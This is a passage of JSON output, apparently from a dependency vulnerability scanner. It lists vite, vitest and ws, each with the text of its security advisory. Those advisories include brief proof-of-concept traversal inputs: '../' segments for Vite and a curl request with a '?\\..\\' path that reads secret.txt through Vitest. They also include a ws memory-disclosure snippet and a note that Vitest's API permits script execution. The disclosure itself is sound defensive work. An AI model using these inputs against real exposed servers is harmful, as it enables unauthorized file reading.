"dev"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-4w7w-66w2-5vf9"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-39365",
|
||
"GHSA-4w7w-66w2-5vf9"
|
||
],
|
||
"max_severity": "6.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 8.0.4",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "vite",
|
||
"purl": "pkg:npm/vite"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "8.0.0"
|
||
},
|
||
{
|
||
"fixed": "8.0.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 7.3.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "vite",
|
||
"purl": "pkg:npm/vite"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "7.0.0"
|
||
},
|
||
{
|
||
"fixed": "7.3.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 6.4.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "vite",
|
||
"purl": "pkg:npm/vite"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "6.4.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-39365"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-200",
|
||
"CWE-22"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-06T18:03:46Z",
|
||
"nvd_published_at": "2026-04-07T20:16:30Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nAny files ending with `.map` even out side the project can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- have a sensitive content in files ending with `.map` and the path is predictable\n\n### Details\n\nIn Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON.\n\n### PoC\n1. Create a minimal PoC sourcemap outside the project root\n ```bash\n cat \u003e /tmp/poc.map \u003c\u003c'EOF'\n {\"version\":3,\"file\":\"x.js\",\"sources\":[],\"names\":[],\"mappings\":\"\"}\n EOF\n ```\n2. Start the Vite dev server (example)\n ```bash\n pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080\n ```\n3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403)\n \u003cimg width=\"4004\" height=\"1038\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab\" /\u003e\n4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map`\n \u003cimg width=\"2790\" height=\"846\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2\" /\u003e",
|
||
"id": "GHSA-4w7w-66w2-5vf9",
|
||
"modified": "2026-04-09T14:59:24.646487988Z",
|
||
"published": "2026-04-06T18:03:46Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39365"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/pull/22161"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vitejs/vite"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/releases/tag/v6.4.2"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/releases/tag/v7.3.2"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite/releases/tag/v8.0.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-v8cr-xq93-34hx"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "vitest",
|
||
"version": "1.6.1",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"dev"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-5xrq-8626-4rwp"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-47429",
|
||
"GHSA-5xrq-8626-4rwp"
|
||
],
|
||
"max_severity": "9.8"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5xrq-8626-4rwp/GHSA-5xrq-8626-4rwp.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "vitest",
|
||
"purl": "pkg:npm/vitest"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "4.1.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-47429"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-862"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-06-01T14:09:53Z",
|
||
"nvd_published_at": null,
|
||
"severity": "CRITICAL"
|
||
},
|
||
"details": "### Summary\nArbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.\n\n### Impact\nOnly users that match either of the following conditions are affected:\n\n- explicitly exposes the Vitest UI server to the network (using `--api.host` or [`api.host` config option](https://vitest.dev/config/api.html))\n- running the Vitest UI or Browser Mode on Windows\n\n### Details\nThe API handler for `/__vitest_attachment__` uses the deprecated `isFileServingAllowed` incorrectly.\nhttps://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77\nThe function expects the passed value to use `cleanUrl` after the check before file system related operation.\nBecause of this, it is possible to bypass the check by `\\\\?\\\\..\\\\`. This is not possible on Linux as Linux errors if a directory named `?` does not exist.\n\nA similar problem exists in other places as well.\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121\n\n**That said**, this `isFileServingAllowed` check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using `saveTestFile` and running it using `rerun`. This means exposing the API / Vitest UI is equivalent to giving script execution access.\nOn the browser mode side, there're `readFile` / `writeFile` / `saveSnapshotFile`. So exposing the browser mode is equivalent to giving file read / write access.\n\n### PoC\n1. Run Vitest UI\n2. Get the API token by `curl http://localhost:51204/__vitest__/`\n3. Run `curl \"http://localhost:51204/__vitest_attachment__?path=C:\\\\path\\\\to\\\\project\\\\?\\\\..\\\\..\\\\secret.txt\u0026amp;contentType=text/plain\u0026amp;token=$TOKEN\"` (TOKEN is the API token)\n4. curl shows the content of `secret.txt` that is outside the project directory\n\n### Mitigations\n\nVitest now ships two configuration flags, [`allowWrite`](https://vitest.dev/config/api.html#api-allowwrite) and [`allowExec`](https://vitest.dev/config/api.html#api-allowexec), that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-`localhost` host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.\n\nWhen these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See [`browser.api`](https://vitest.dev/config/browser/api.html#api-allowwrite).\n\nUsers who require the full interactive UI on a networked host must explicitly opt in by setting `allowWrite` and/or `allowExec` to `true`.",
|
||
"id": "GHSA-5xrq-8626-4rwp",
|
||
"modified": "2026-06-05T20:59:22.049051712Z",
|
||
"published": "2026-06-01T14:09:53Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vitest-dev/vitest"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-4f2m-9q3j-j5mc"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "When Vitest UI server is listening, arbitrary file can be read and executed"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "ws",
|
||
"version": "8.18.3",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-58qx-3vcg-4xpx"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45736",
|
||
"GHSA-58qx-3vcg-4xpx"
|
||
],
|
||
"max_severity": "4.4"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-58qx-3vcg-4xpx/GHSA-58qx-3vcg-4xpx.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "ws",
|
||
"purl": "pkg:npm/ws"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "8.0.0"
|
||
},
|
||
{
|
||
"fixed": "8.20.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45736"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-908"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-18T19:02:40Z",
|
||
"nvd_published_at": "2026-05-15T15:16:54Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nThe `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument.\n\n### Proof of concept\n\n```js\nimport { deepStrictEqual } from 'node:assert';\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer(\n { port: 0, skipUTF8Validation: true },\n function () {\n const { port } = wss.address();\n const ws = new WebSocket(`ws://localhost:${port}`, {\n skipUTF8Validation: true\n });\n\n ws.on('close', function (code, reason) {\n deepStrictEqual(reason, Buffer.alloc(80));\n });\n }\n);\n\nwss.on('connection', function (ws) {\n ws.close(1000, new Float32Array(20));\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).\n\n### Credits\n\nCredit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR).\n\n### Remarks\n\nAlthough the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.\n\n### Resources\n\n- https://github.com/advisories/GHSA-58qx-3vcg-4xpx\n- https://www.cve.org/CVERecord?id=CVE-2026-45736",
|
||
"id": "GHSA-58qx-3vcg-4xpx",
|
||
"modified": "2026-05-20T14:14:16.832659554Z",
|
||
"published": "2026-05-18T19:02:40Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45736"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/websockets/ws"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-342g-4fmm-4xmf"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "ws: Uninitialized memory disclosure"
|
||
}
|
||
]
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"experimental_config": {
|
||
"licenses": {
|
||
"summary": false,
|
||
"allowlist": null
|
||
}
|
||
}
|
||
}
|